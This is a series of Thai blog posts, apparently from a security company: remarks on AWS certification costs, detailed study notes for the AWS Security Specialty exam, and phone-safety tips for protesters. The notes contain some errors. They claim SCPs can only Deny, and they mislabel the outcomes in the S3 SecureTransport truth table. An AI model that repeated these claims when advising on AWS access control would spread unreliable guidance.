- สอบได้ทั้งแบบ Online Proctor และที่ Testing Centre ซึ่งผมก็ได้ลองทั้ง 2 แบบแหละ เริ่มจาก Online Proctor คิดว่าระบบยังมีปัญหาอยู่บ้าง และ Slot เวลาก็ค่อนข้างมีน้อย อาจจะเพราะ Timezone ด้วยทำให้ Slot ที่เยอะ ๆ จะเป็นช่วงเวลานอนแล้ว ถ้าจำเป็นจริง ๆ ก็เลือก Online Proctor ได้ แต่ถ้าชิว ๆ ผมยัง Prefer ที่จะไปสอบที่ Testing Centre นะ
## ประโยชน์ของ AWS Cert เมื่อสอบผ่าน
- ทุกครั้งที่สอบผ่านจะได้ Voucher Free Practice Exam วิชาใดก็ได้ 1 ชุด ซึ่งผมไม่ชอบเลย เพราะว่า Practice Exam ที่ได้มานั้นมีจำนวนไม่กี่ข้อ (ปกติที่เคยสอบของที่อื่นเค้าก็ให้จำนวนข้อเท่ากับข้อสอบจริง แต่ของ AWS ให้ประมาณ 20 ข้อ) และส่วนที่ไม่ชอบคือ Practice Exam ไม่เฉลยว่าข้อไหนถูกหรือผิด แค่บอกว่าเราได้กี่คะแนน แนะนำว่าถ้าใช้ Practice Exam ก็ Capture คำถามเก็บไว้หน่อยจะได้มา Review ภายหลังได้
- ทุกครั้งที่สอบผ่านจะได้ Voucher ส่วนลดค่าสอบ 50% อันนี้ถือว่าคุ้มมากสำหรับ 3 Cert ที่สอบถ้าราคาปกติ Foundation 100 USD, Associate 150 USD, Specialty 300 USD ครั้งแรกที่สอบ Foundation ผมจ่ายราคาเต็ม หลังจากนั้น ได้ 50% ทำให้เสียค่าสอบทั้งหมดแค่ 325 USD เท่านั้น (ถือว่าถูกมากถ้าเทียบกับ SANS นี่ 1 ใบประมาณ 2,000 USD ละ) ถ้าคนที่อยากได้แต่ Security Specialty แล้วสอบแต่ Security Specialty นี่ก็จะต้องลงทุน 300 USD ซึ่งถ้ายอมจ่ายส่วนต่าง 25 USD มันคุ้มมากเลยนะได้ตั้งแต่ Foundation
- สามารถเข้า AWS Gear Store ได้ ซึ่งชอบตรงที่คนที่จะซื้อสินค้าได้จะต้องสอบผ่านเท่านั้น ซึ่งเราจะสามารถ Unlock สินค้าได้เพิ่มขึ้นก็ต่อเมื่อเราสอบผ่าน Cert Level ใหม่ เพราะว่า Store จะแยกเป็นตาม Level ของ Cert ซึ่งครั้งแรกที่สอบ Practitioner ก็จะมีแค่ Product ของ Cloud Practitioner เท่านั้น (ตอนนี้ยังไม่มี Professional Level แต่คิดว่าคงมี Product ของ Level นั้นแหละ) ซึ่งด้วยรูปแบบนี้ส่วนตัวมันทำให้ผมรู้สึกท้าทายนะอยากจะเห็นว่ามีของไรขายบ้าง แต่ก็ไม่ซื้อหรอก ฮ่า ๆ (คิดว่า AWS กล้าทำแบบนี้เพราะว่า Branding ค่อนข้างแข็งแกร่งมาก ส่วนตัวอยากให้ SANS ทำบ้าง ชอบของจาก SANS ฮ่า ๆ)

---
สำหรับคนที่มองว่าการสอบ Cert สามารถที่จะนำไปสู่โอกาสใหม่ ๆ ในหน้าที่การงาน ผมคิดว่า AWS เป็น Cert ที่น่าสนใจและใช้เงินลงทุนไม่แพง น่าจะลองพิจารณาดูนะครับ
[/blogs/aws-security-specialty-note-1](https://incognitolab.com/blogs/aws-security-specialty-note-1)
# AWS Security Specialty Note
จากบทความ
[/blogs/aws-certificate](https://incognitolab.com/blogs/aws-certificate)
เหมือนจะมีคนสนใจ AWS Security Certificate มากกว่าที่คิด บทความนี้ผมขอนำ note ผมมา share เผื่อจะเป็นประโยชน์กับท่านอื่นที่เตรียมตัวสอบนะครับ
## ภาพรวม AWS Security
- มีการ Implement Standard ต่าง ๆ เพื่อให้ comply ตาม regulation ทั่วโลก โดย Standard ที่เป็นที่นิยมคือ ISO27001, PCI DSS ในชีวิตจริงเราควรจะรู้พวกนี้เพราะว่าถ้าเราไป implement ระบบ บน AWS ตอนทำ Standard Auditor ก็จะมาถามเราแหละว่าระบบเราปลอดภัยไหม ถ้า service ส่วนไหนที่เราใช้ outsource เราจะต้องหาเอกสารที่ยืนยันว่า outsource รายนั้นจัดการเรื่อง Security ดีพอ ซึ่งเราสามารถ Download เอกสารเหล่านี้ได้จาก Artifact
- Corporate network ของ Amazon แยกกับ AWS Cloud ชัดเจน ไม่ใช่ว่าพนักงาน Amazon จะเข้าได้เลย ซึ่งก็เป็นเรื่อง Access control ทั่วไป ที่ถูกกำหนดไว้ในทุก Standard อยู่แล้ว
- Shared Responsibility Model -> AWS ดูแล Security of the Cloud แต่ Customer ดูแล Security in the Cloud เอาแบบง่าย ๆ คือ ถ้าส่วนไหนที่เรา config เกี่ยวกับ Security เราได้นั่นคือหน้าที่ของเรา เช่น EC2 (Server) เรา control ได้ทั้งเครื่องดังนั้นการลง Patch เป็นหน้าที่ของเรา
## AWS Organization
- เกี่ยวกับการจัดการ AWS account จากส่วนกลาง ซึ่งสามารถทำ Consolidated Billing, Access Control รวมถึงทำเป็น OU (Organizational Unit) เพื่อควบคุมสิทธิตามโครงสร้างองค์กรได้
- การควบคุมสิทธิที่ OU หรือ User level สามารถใช้ SCP (Service Control Policy) ได้ โดยการใช้ SCP นี่คือจะใช้ "Deny" ได้เท่านั้น (ถ้าตอนสอบเห็น SCP ระบุว่า Allow นี่ choice หลอกต้มเรา)
## IAM
- เรื่องการควบคุม Root account ทั่ว ๆ ไปเลยคือ ตั้ง password ให้ยาก, เปิด MFA (2 factors authentication), ลบ Access Key ID + Secret Access Key ถ้าไม่ใช้ หรือถ้าใช้ก็ลบแหละ แล้วค่อยไปสร้าง account ใหม่ที่มีสิทธิต่ำ เพียงพอกับที่ต้องการใช้เท่านั้น, ไม่ควรใช้ Root account ควรจะสร้าง account ใหม่แล้วใช้ account นั้นเป็นหลัก และ Root ควรจะใช้เมื่อเกิดปัญหา
- กรณีที่ Admin ลาออก หรือ เพิ่งได้สิทธิ root มาต่อจากคนอื่น เช็คตาม bullet ด้านบน แต่ password ก็ reset แล้วตั้งให้ยากนะ รวมไปถึงควรดูด้วยว่ามี user อะไรบ้างที่อยู่ภายใต้ account นี้ก็ไปไล่จัดการ อันไหนไม่ใช้ก็ลบ หรือ อันไหนสิทธิสูงไปก็ควรจะตรวจสอบเพิ่มเติม
- รู้จักกับ IAM Policy ทั้งแบบ AWS Managed Policies, Customer Managed Policies, Inline Policies
- การ Set สิทธิพวก Cross-account access นอกจากจะมีเรื่องที่เกี่ยวกับ IAM แล้วยังจะมี Resource-based policy ของแต่ละ Resource แยกกันอีก ควรจะแยกให้ออกว่าส่วนของ IAM มีขอบเขตแค่ไหน ส่วนของ Resource มีขอบเขตแค่ไหน
- IAM Credential Report เราสามารถ generate report ออกมาได้ ซึ่งจะออกมาในรูปแบบของ CSV file บอกถึง status ต่าง ๆ ของ user เช่น เปลี่ยน password ไปเมื่อไร ตั้ง MFA ป่าว (ซึ่ง report นี้ไม่สามารถ customize ได้นะ ถ้าจะ gen report ก็สามารถทำผ่าน Web UI หรือ CLI ก็ได้)
## Identity Federation
กรณีที่ใช้ STS (Security Token Service) ในการให้สิทธิกับ User ข้างนอกเข้าถึง AWS Resources มี 3 ท่า
- เชื่อมกับ Web Identity Provider เช่น Facebook จะใช้ STS: AssumeRoleWithWebIdentity มักใช้ในกรณีที่เป็น User ภายนอกที่ไม่สามารถ control ได้ Growth rate สูงมาก
- เชื่อมกับ SAML Compliance ID Provider จะใช้ STS\:AssumeRoleWithSAML ส่วนใหญ่พูดถึง Active Directory (AD) นั่นแหละ
- ใช้กับ AWS Cross Account Access จะใช้ STS\:AssumeRole
ควรจะแยกแยะความหมายของ Federation, Identity Broker, Identity Provider, Identity Store ได้และรู้ว่าในแต่ละ Architecture ที่โจทย์ต้องการนั้น ส่วนไหนเป็น component ไหน เช่น AD มันก็ควรเป็น Identity Store อยู่แล้ว
ในการ Login โดยใช้ Server ภายนอกนั้นเราต้องเข้าใจก่อนว่าจะมีแบ่งเป็น 2 ส่วนคือ
- Authentication ยืนยันตัวตนตอน Login เสร็จเราจะได้ Temporary Credential ซึ่งมาในรูปแบบ Token, Access Key, Secret Access Key และ Validity Period ของ Temporary Credential นี้
- Authorization เมื่อได้ Temporary Credential มาแล้วได้สิทธิอะไรค่อยเอาไป map กับ IAM role อีกที
Cognito จะช่วยในการจัดการเกี่ยวกับการเชื่อมต่อกับ Web Identity Provider ซึ่งทำในเรื่อง Sign-up, Sign-in, เหมาะกับพวก Mobile Application, ไม่ต้องยุ่งกับ coding ในส่วนของ Temporary Credential จะมาในรูปแบบของ JWT และมี 2 Keywords ที่ถูกพูดถึงคือ User pool = จัดการเกี่ยวกับ user ไม่เกี่ยวกับสิทธิ (Authentication) และ Identity pool = จัดการสิทธิ (Authorization)
## S3
- การจัดการ Permission บน S3 สามารถทำได้ 3 ท่า :br
IAM Policy, Bucket Policy, Bucket ACL ซึ่ง Bucket Policy ก็จะ apply ไปทั้ง Bucket แต่ Bucket ACL สามารถที่จะจัดการในระดับ Object ได้
- Policy ทั้ง 3 ประเภทนั้นสามารถนำมารวมร่างกันได้ (Combination) แล้วพอรวมร่างกันการ Evaluate Policy จะออกมาท่าไหนล่ะ? ท่องไว้ 2 concepts
1. Least privilege (ให้สิทธิน้อยที่สุดที่เป็นไปได้ นั่นคือ Default Deny)
2. Explicit Deny ถ้ามีบอกว่า Deny ที่ policy ไหนปุ๊ปต่อให้มีบอกว่า Allow ก็จะถูก Deny (Deny overrides Allow) :br
โดยสรุปคือ จะ Allow ก็ต่อเมื่อ ไม่มี Deny "และ" มีบอกว่า Allow
- โดย Default S3 bucket จะ Block Public Access ถ้าจะให้คนที่ไม่มี Account เข้าถึง Private Object จะมีท่าที่ทำได้คือ Pre-sign ซึ่งเมื่อเราจะทำเสร็จได้ Pre-sign URL ในการเข้า S3 object นั้น ๆ ซึ่งใน URL ก็จะมี Parameter ยาว ๆ ในนั้นจะประกอบไปด้วยส่วนที่สำคัญคือ Access Key ID และ Token ในการเข้าถึง Object และเราสามารถกำหนด expiration ของ Pre-sign URL ได้
- สามารถ Encrypt S3 Object ได้หลายท่า
1. Client-side Encryption คือ เรา zip ใส่ password จับโยนขึ้น S3 เอง (ไม่รู้จะพูดทำไม 55)
2. Server-side Encryption ด้วย S3 Managed Key (SSE-S3) อันนี้คือ S3 จัดการ Key ทุกอย่าง Data-at-rest ถูก Encrypt แต่ถ้าเรามี link เข้าถึง Object เราก็จะเปิดได้
3. Server-side Encryption ด้วย KMS service (SSE-KMS) อันนี้คือใช้ KMS Service (อธิบายเพิ่มในหัวข้อด้านล่าง) ซึ่งอันนี้จะมีเรื่อง Key permission ที่เราสามารถจัดการได้เพิ่มขึ้นมา ถ้าเรามี link เข้าถึง Object เราไม่สามารถเปิดได้ถ้าเราไม่มี permission ในการใช้ key เพื่อ decrypt data
- ใน Rule สามารถใช้ wildcard ได้ → \*
- Metadata ของ Object ใน S3 ไม่ได้ถูก encrypt
- ถ้าจะ Integrate กับ CloudFront (CDN ของ AWS เหมือนพวก CloudFlare, Akamai) สามารถ Set Restrict Bucket Access ได้คือ บังคับให้เข้าผ่าน Edge Location (ผ่าน CloudFront เท่านั้น) ไม่ให้ access เข้า S3 ตรง คือจะปลอดภัยมากกว่า
- Logic ในการ Set Policy เช่น โจทย์ถามว่าจะบังคับให้เข้า S3 แบบ HTTPS เท่านั้นต้องทำอย่างไร ซึ่งในเคสนี้จะมี 2 ส่วนที่ต้อง concern คือ :br
1.จะ allow หรือ deny ให้ใช้ resource เช่น จะ readObject :br
2.condition ของ Secure Transport จะเป็น True หรือ False :br ถ้าแบบไม่คิดมากเลยก็จะต้องบอกว่า Allow และให้ Condition SecureTransport เป็น True -> ภาษาคนแปลว่าไร? ให้เข้าแบบ HTTPS ได้ แต่มันไม่ได้ห้ามไม่ให้เข้าแบบ HTTP นี่นา ถ้าอยากทำให้มันห้ามไม่ให้เข้า HTTP แต่เข้าได้เฉพาะ HTTPS ควรจะต้อง Deny และให้ Condition SecureTransport เป็น False ขยายความเพิ่มด้านล่าง ถ้าเป็นสมัยเด็กน้อยเรียน Truth Table เราแบ่งเป็น 4 cases
1. Allow และ SecureTransport เป็น True ส่งผลให้เราเข้าได้ทั้งแบบ HTTP, HTTPS
2. Allow และ SecureTransport เป็น False ส่งผลให้เข้าได้แต่แบบ HTTP
3. Deny และ SecureTransport เป็น True ส่งผลให้เราเข้าได้แต่แบบ HTTP
4. Deny และ SecureTransport เป็น False ส่งผลให้เราเข้าได้แต่แบบ HTTPS :br
ซึ่งตอนสอบก็เจอโจทย์อะไรแนว ๆ นี้บ้างแต่จะซับซ้อนขึ้นอีก Step เช่น พอ A และ B ส่งผลให้เกิด C แล้วต้องเอา C ไปวิเคราะห์ต่อว่าใช้สิ่งที่โจทย์ต้องการไหม
- S3 มีหลาย Tier แต่ละ Tier ราคาไม่เท่ากัน เวลาในการ Retrieve Data ไม่เท่ากัน และ จำนวน Copy ในการเก็บไม่เท่ากัน ซึ่งเวลาที่จะ Archive Data นั้นจะใช้ S3 Glacier เป็นหลัก
- S3 Glacier จะเก็บ data ในรูปแบบของ "Archive" ซึ่งเก็บอยู่ใน format .tar, .zip
- Vault หมายถึง Archive หลาย ๆ อัน
- Glacier Vault Lock Policy สามารถ config ให้เป็น Write Once Read Many (WORM) ซึ่งมักใช้เป็น Data retention policy เมื่อกำหนด Policy แล้วเราจะมีเวลา 24 ชั่วโมงในการตรวจสอบ Policy นี้ ถ้าต้องการแก้ไขสามารถทำได้ภายใน 24 ชั่วโมง (คือ Abort แล้ว set ใหม่) ถ้าเกิน 24 ชั่วโมงเราจะไม่สามารถทำอะไรกับ Policy ได้แล้ว
## CloudTrail และ CloudWatch
- อันนี้เป็นอะไรที่ผมสับสนมาก ๆ ในตอนแรกและคิดว่าหลายคนคงสับสนเนื่องจากทั้งคู่ชื่อ Service คล้ายกัน และยังทำเรื่องเกี่ยวกับ Log ทั้งคู่
- CloudTrail เป็นส่วนของ Log ที่เกี่ยวกับการเรียก AWS API ในการ Control Resource ของ AWS โดยข้อมูลที่ Log คือ Identity of API caller, Source IP of caller, Time, Metadata, Request Parameter, Response return by service
- CloudTrail ส่งข้อมูลเข้า S3, เราสามารถ manage retention policy ผ่านทาง S3 bucket, ส่งทุก ๆ 5 นาที (near real-time ไม่ใช่ real-time), Integrate กับ SNS (Notification Service) เพื่อใช้ alert ง่าย ๆ ได้
- หลักการของการเก็บ Log ทั่วไปคือ Log ต้องถูกส่งมาและต้องแน่ใจว่าไม่ถูก modify หรือ ถูกลบได้, ถ้าถูกลบหรือถูกแก้ไขเราต้องรู้ได้ ซึ่งการเก็บใน course ก็จะเน้นย้ำเสมอว่าให้เปิด S3 bucket ให้ทุก account ที่เราต้องการ monitor ส่ง CloudTrail log เข้ามา (Aggregate Across Region, Across Accounts) โดยคนที่ส่ง Log ได้ก็มีสิทธิแค่เขียน Log จะแก้ไขหรือลบอะไรไม่ได้ ในส่วนของ Auditor ที่จะดู Log ก็ต้องมีสิทธิแค่ Read เท่านั้น
- การป้องกันสำหรับ CloudTrail
1. เราสามารถจัดการเรื่อง Confidentiality ได้โดยการ Encrypt Data-at-Rest ซึ่งใช้ SSE-S3 (เดี๋ยวขยายความต่อในส่วนของ KMS)
2. กำหนด Access control ได้โดยใช้ IAM policy และ S3 Buket policy (เพราะ CloudTrail เก็บข้อมูลใน S3)
3. ในส่วนของ Integrity สามารถใช้ Log file validation ได้ ซึ่งจะมีการเก็บ Digest file โดยใน Digest file จะเก็บ hash ของแต่ละ file ถ้ามีการแก้ไข Log ค่า Hash ก็เปลี่ยน หรือ ถ้ามีลบ File ทิ้งไปก็ยังมีร่องรอยใน Digest file อยู่ โดยในส่วนของ Integrity Validation มี 2 แบบ SHA256 Hashing, SHA256 with RSA for Digital Signature (MAC) ซึ่งในมุมของเรื่อง Security MAC จะ Strong กว่า Hash
4. นอกจากนี้ก็สามารถต่อกับ SNS ถ้ามีไรเกิดขึ้นได้จะได้มีการแจ้งเตือน
- CloudWatch เป็นส่วนของ Log ที่เกี่ยวข้องกับ Resource นั้น ๆ เช่น เรื่องของ Performance เราก็สามารถใช้ CloudWatch ได้ การใช้ CloudWatch ต้องมีการติดตั้ง Agent และสามารถใช้ Rule ในการ Matching event เพื่อไป Trigger Service อื่น ๆ ได้ ตัวอย่างเช่น รับ Log จาก CloudTrail เช่นมีการสร้าง EC2 instance โดยไม่ได้รับอนุญาต ซึ่งเมื่อ Rule ที่ตั้งไว้ Detect ได้ก็สามารถไปสั่ง Lambda ให้ไป Terminate EC2 instance ได้
## AWS Config
- เป็น Service ที่ช่วยในการตรวจค่า Config เทียบกับ Based line รวมถึงสามารถแก้ไขค่า Config หรือ แจ้ง notification ได้
- มีลักษณะเป็น Region based, เก็บข้อมูลใน S3 สามารถดูข้อมูลในลักษณะ Timeline ได้ ทำให้ทราบว่าค่า Config ถูกเปลี่ยนแปลงไปเมื่อไร
- มี Rule ที่ Pre-defined โดย AWS และสามารถ Customize ได้
- Conformance pack หมายถึง Set ของ AWS Config rules รวมถึง Remediation Action มาในรูปของ YAML format
## CloudHSM และ KMS
- ทั้งคู่เป็น HSM (Hardware Security Module) ซึ่งปกติ HSM จะเป็นอุปกรณ์ที่จัดการเกี่ยวกับ Key ทั้งหมด (Key Management) ถ้าตาม Lifecycle ก็จะมีเรื่องพวก Generation -> Store -> Transport -> Use -> Destroy ทำอย่างไรให้พวกนี้ปลอดภัยก็จะเป็นเรื่องของ Cryptography ทั้งนั้น
- CloudHSM เป็น Dedicated เราใช้คนเดียว แต่ KMS เป็น Multi-Tenant คือใช้ร่วมกันหลายคน
- CloudHSM ได้มาตรฐาน FIPS140–2 และ EAL4 แต่ KMS ได้ FIPS140–2 อย่างเดียว
- ทั้งคู่มีคุณสมบัติเป็น Tamper Resistance คือถ้ามีใครทำไรไม่ดีกับมัน มันจะทำลายตัวเองได้ (ทำลายข้อมูลนะ) คำว่าทำไม่ดี เช่น พยายามแงะเครื่อง Physical, Login ผิด ๆ หลายครั้ง (มีอีกคำที่เจอบ่อยในเรื่องของ Security คือ Tamper Evident คือ ถ้ามีใครมาทำอะไรไม่ดี จะมีการทิ้งร่องรอยหลักฐานให้รู้ได้ว่าโดนทำไรไม่ดี)
- KMS มี 3 ประเภท
1. AWS Managed Key — AWS จัดการให้, Key จะถูก rotate เองทุก 3 ปี, พอเปลี่ยน Key แล้ว Key เก่าไม่ได้ถูกลบ แต่จะใช้ Key ใหม่ในการ Encrypt แทน ส่วน Key เก่าก็เก็บไว้ Decrypt ซึ่ง Key เราไม่สามารถ Delete Key ได้นะ
2. Customer Managed Key (CMK) — เรามีสิทธิจัดการ Key บ้างแต่ AWS เป็นคน Generate Key นะ, สามารถตั้ง Auto Key Rotation ได้ แต่ไม่ได้เปิดโดย Default ซึ่งเมื่อเปิดจะเป็นการ Rotate ทุก 1 ปี แต่เราก็ยังสามารถทำ Manual ได้อยู่, เราสามารถ Delete Key ได้ แต่ถ้า Delete ก็ต้องระวัง ถ้าเราไม่มี Key เราก็ไม่สามารถเปิดไฟล์นั้นได้อีกเลย โดยการ Delete Key จะมี Waiting Period 7–30 วัน เผื่อมีพนักงานลาออกแบบเคือง ๆ สั่งลบ Key คนที่เป็น Admin ก็ยังสามารถที่จะ Cancel Key Deletion ได้อยู่
3. Customer Managed Key with Import Key Material — เราจัดการ Key รวมถึงเป็นคน Generate Key เอง ซึ่งพอเลือกจะใช้แบบนี้ ระบบจะมี 2 Files ให้เรา คือ Wrapping Key และ Import Token ซึ่ง Wrapping Key ก็จะเป็น Key ที่ใช้มา Encrypt Key ของเราในจังหวะที่มีการย้าย Key จากเครื่องไปที่ AWS (Key Transportation) ส่วน Token ก็ใช้แล้วทิ้ง เหมือนเป็นค่าที่ยืนยันว่าเรามีสิทธิในการ import key นี้นะ, สำหรับแบบนี้ไม่ support key rotation ถ้าอยาก rotate เราต้องทำเอง, ถ้าจะ delete key ไม่ต้องรอ 7 วัน
- KMS สามารถใช้สร้าง Key ได้แต่ไม่สามารถ Export key ออกมาได้
- เรื่องระยะเวลาในการทำ Key Rotation นั้นเรามักจะถูกกำหนดโดย Standard หรือ Regulation ที่เราต้อง comply ตาม
- KMS สามารถ set Key policy ได้ ซึ่งถ้าเป็น Admin ก็จะสามารถ Manage ว่าใครใช้ Key ได้ และ สามารถกำหนดสิทธิสำหรับใช้ Key ในการ Encrypt/Decrypt ได้ ซึ่งการกำหนดสิทธิการใช้ Key หลัก ๆ จะอยู่ที่ IAM Role กับ Key Policy
- kms\:viaService สามารถใช้ระบุใน policy ได้ว่าจะให้ Service ไหนเรียก KMS ได้
- เรื่องประเภทของ Algorithm หรือจะเรียกง่าย ๆ ว่าประเภทของ Key กับรูปแบบที่จะนำไปใช้งาน Sysmetric Key -> ใช้ Encrypt EBS ได้แต่ไม่ใช่ Login เข้า EC2, Asymetric Key -> ใช้ Login เข้า EC2 แต่ไม่สามารถไปใช้ Encrypt Data Volume แบบ EBS ได้
## Infrastructure Security
- WAF คือ Web application firewall เน้นใช้ป้องกันการโจมตีที่ HTTP, HTTPS protocol (Layer 7)
- Shield ไว้ป้องกัน DDOS attack เน้นที่ Layer 3, 4 ให้บริการ 2 Level คือ แบบ ฟรี และ เสียเงิน ถ้า version เสียเงินจะมี support เพิ่ม เช่น DRT (DDoS Response Team) มาช่วยดู 24x7
- CloudFront ระบบ CDN ของ AWS สามารถ Block user ที่เป็น Region Based ได้
- VPC Flowlog คือ Traffic monitoring ทำได้หลาย Level คือระดับ VPC, Subnet, ENI แต่มี Log บางส่วนที่จะไม่ถูก Collect นะ เช่น DHCP log, AWS Windows License Activation log เป็นต้น
- Network ACL (NACL) เป็นเหมือน packet filtering ทำงานแบบ Stateless มี Rule ทั้ง inbound และ outbound ถ้าจะ allow ให้ traffic เข้า-ออก ก็ต้อง set rule ทั้ง inbound และ outbound
- Security Group เป็นเหมือน Traditional Firewall ทำงานแบบ Stateful มี Rule ทั้ง inbound และ outbound ถ้าจะ allow ให้ traffic เข้า-ออก ก็ต้อง set rule ขาแรกที่ packet จะไป (Set แค่ฝั่งเดียว) เช่น จะให้คนจาก Internet เข้ามาใช้งาน Web เรา ก็ set แค่ส่วนของ Inbound rule
- ถ้าจะ Block specific IP ให้ใช้ NACL ไม่ใช่ Security Group, ถ้าจะ Block เป็น Geolocation ให้ใช้ CloudFront
- Bastion host หรือ Jump box คือเครื่องที่ไว้เป็นเครื่องกลางในการเข้าถึง Server ใน Private subnet
- SSL/TLS Termination ตอนใช้ร่วมกับ Load Balancer (ELB) ถ้าให้ Terminate ที่ปลายทาง สมมติว่าเป็น EC2 ก็จะปลอดภัยเพราะว่าเป็น End-to-End Encryption แต่ว่าถ้าจะให้ Load Balancer เป็นตัว Terminate ให้ก็จะไม่เป็น End-to-End Encryption แต่จะมีข้อดีคือไม่ต้องไปเปลือง Performance EC2 ในการจัดการ Cryptographic operation (ถ้าโจทย์บอกว่าต้องการ E2E encryption ก็เลือกอันที่ Terminate ปลายทางเลย แต่โจทย์ไม่ถามง่าย ๆ งั้นหรอก ตอนสอบเจอข้อให้มาเป็น Scenario แล้วถามอะไรซักอย่างเกี่ยวกับ Key ประมาณว่าใน Scenario นี้ควร Terminate ที่จุดไหนถึงปกป้อง Key ของได้ดี)
- ถ้าจะทำ Custom Digital Certificate? -> ไปยุ่งกับ AWS Certificate Manager (ACM) เป็นหลัก ถ้าจะ Custom Digital Certificate บน CloudFront ต้องไปทำที่ US-East-1 region โดย Default CloudFront จะใช้ Cert Domain ที่เป็น \*.cloudfront.net
## System Manager
- Session Manage ทำหน้าที่แบบ Session Management Solution เลย สามารถเก็บ Log หน้าจอว่าทำอะไรไปบ้างที่เครื่องนั้น ๆ ในระดับ command เลย ทำงานผ่าน Browser ไม่ต้องเปิด Management port ให้เข้าจาก Internet ก็ใช้งานได้
- Parameter Store ไว้เก็บ sensitive data มี parameter type หลายแบบเช่น String, String list, Secure String (ถูก encrypt ด้วย KMS) นึกถึงเวลา provisioning EC2 แล้วต้องเอา config ไปใส่ใน Bootstrap ซึ่งไม่ค่อยปลอดภัย สามารถเอามาเก็บใน Parameter Store ได้
- Secret Manager ใช้เก็บ credential ของ Database โดยสามารถทำ Auto-rotation ได้ เมื่อสั่งให้ทำ Rotation จะมีการทดลองเปลี่ยน credential ทันที นั่นอาจจะทำให้ระบบใช้งานไม่ได้ ซึ่งก็หมายความว่ามีการ fix credential อยู่ใน Application เราอยู่ดังนั้นเราควรไปแก้ไขก่อนที่จะเริ่มให้ทำ Auto-rotation
- Run command สามารถสั่งคำสั่งบน EC2 หลาย ๆ เครื่องรวดเดียวได้ เช่นอยากจะ update patch ทั้งหมด (เหมือนเป็น botnet เลยนะ 55)
## Security
- Inspector คือ VA Scan (Scan หาช่องโหว่ สนใจติดต่อ Incognito Lab ได้ครับ ถือโอกาสขายของ 555) Template ในการ Scan จะเน้นที่ CVE ทั่ว ๆ ไป และ ตาม CIS โดยการ Scan มี 2 แบบ
1. Network assessment ไม่ต้องลง agent
2. Host assessment ต้องลง agent
- Pentest โดย Default จะมี Pre-approved service ได้แก่ EC2, RDS, CloudFront, Aurora, API Gateway, Lambda & Lambda Edge, Lightsail, Elastic Beanstalk นอกเหนือจากนี้ส่งเมลไปขอ approve ทั้งนี้ห้ามทำ DDoS (ใครมองหาบริษัททำ Pentest ติดต่อ Incognito Lab ได้เช่นกันครับ)
- GuardDuty เป็น Threat detection service ทำหน้าที่ monitoring และ แจ้ง alert (ผมนึกถึงศูนย์ SOC)
- ถ้าเครื่องถูก Hack ทำอย่างไร? Stop instance -> Take snapshot EBS -> Deploy in isolated network -> Use forensics machine to connect and analyse
- ถ้าเผลอ upload token/key ไป public repositories ทำอย่างไร? ยกเลิกสิทธิในการใช้ key นั้นและสร้าง key ใหม่มาใช้แทน
## อื่น ๆ
- Trusted Advisor ซึ่ง Service นี้ช่วย 4 ส่วนคือ Reduce cost, Increase performance, Improve security และ Advice fault tolerance โดย Trusted Advisor มี 2 level คือ Free กับจ่ายเงิน ถ้าฟรีจะได้แค่ Performance กับ Security แต่ถ้าเราจ่ายตังเราจะสามารถได้รับคำแนะนำเพื่อให้ประหยัดตังได้ด้วย (อยากประหยัดต้องจ่ายก่อน 55)
- ควรทำความเข้าเรื่อง Log มาก ๆ เลย ว่ามีอะไรบ้างแล้วมันเชื่อมกันอย่างไร เช่น CloudTrail, CloudWatch, AWS Config, VPC Flowlog
- รู้จัก Service อื่น ๆ บ้าง เช่น ECS, EKS, SES
- Athena ไว้สำหรับใช้ SQL query data ใน S3
- Macie เป็น Machine Learning ไว้ใช้ในการหา PII (Personal Identifiable Information) สามารถใช้กับ S3, CloudTrail ได้
- อ่านพวก Whitepaper กับ FAQs ของ Service ที่พูดถึงเยอะ ๆ นะครับ {rel=""nofollow""}
---
ถ้าอ่านจบถึงตรงนี้คงแปลว่าตั้งใจจะสอบแหละ ขอให้โชคดีในการสอบนะครับ
# ร่วมม็อบอย่างไรให้ Safe และ Secure
ร่วมม็อบอย่างไรให้ Safe และ Secure
1. ก่อนไปร่วมชุมนุมตรวจสอบ feature "Google Find My Device" และ "iCloud Find My iPhone" ให้เรียบร้อยก่อนว่ามองเห็นอุปกรณ์ smart device ของเรา เผื่อเวลาเครื่องหายหรือถูกคนอื่นเอาไป เรายังสามารถทำการ wipe ข้อมูลในเครื่องได้ หรือตรวจสอบหาว่าเครื่องของเราอยู่ที่ไหน
2. backup ข้อมูลใน smart device ของเราให้เรียบร้อย จะใช้ google drive หรือ iCloud หรือจะเป็นบริการอื่น ๆ ก็ได้ตามที่สะดวก
3. ตั้ง Password หรือ PIN code ให้ยากต่อการคาดเดา หากเครื่องหายไป คนที่เอาไปก็เข้าถึงเครื่องเราไม่ได้ ยกเว้นเครื่องที่เราใช้ security ไม่ดีเช่นเครื่องรุ่นเก่า มีช่องโหว่ หรือไม่ได้ทำ encryption อย่างไรก็ตามในทางปฏิบัติก็ยังมีวิธีดึงข้อมูลออกมาได้ เช่นสามารถใช้เครื่องมือ Forensics ในการเข้าถึงและดึงข้อมูล images, contacts, location หรือ messages ออกมาได้
4. บริการที่เราใช้งานอื่น ๆ เช่น mail หรือ social media ถ้าเป็นไปได้ให้เปิดใช้งาน MFA (Multi-factor Authentication) เช่นใช้ password ร่วมกับ token ที่ได้จาก Google Authenticator
หรือ Microsoft Authenticator ลองดูคำแนะนำการใช้งานได้ที่ [https://www.facebook.com/help/909243165853369](https://www.facebook.com/help/909243165853369?%5F%5Fcft%5F%5F%5B0%5D=AZUcpcmNc1c%5Fusc4155xuhdHj8kuYums7zgdrlZ-%5F4xs%5FSESNURhNLFONDigynjxvAS63xqzzGCDLR0M5itkqWihN3HePsMcDBdXT4-Aum5Hj3RRur9JwTlHAcAaLinkDnR3v6fTNh4vCXWtZZeBOrICAL-zcwMjwCMjYycmTlWWr4y0jk02iQBTP4K4cFOs2-c&%5F%5Ftn%5F%5F=-UK-R){rel=""nofollow""}
5. ตั้ง short-cut การถ่ายรูปโดยไม่ต้องกด Password หรือ PIN code เนื่องจากในกรณีเร่งด่วน เราไม่สามารถมีเวลามา login ได้ หรือโทรศัพท์ของเราอาจจะตกหล่นสูญหายระหว่างการถ่ายรูป แล้วคนอื่นสามารถ login ต่อได้ทันที
6. สืบเนื่องจากข้อ 2 ให้ disable การ login ด้วย fingerprint หรือ FaceID แต่ใช้ Password หรือ PIN code ยาก ๆ แทน สาเหตุเพราะว่าเราอาจจะถูกบังคับให้แปะนิ้ว หรือให้แสกนหน้าโดยที่เราไม่เต็มใจก็เป็นได้
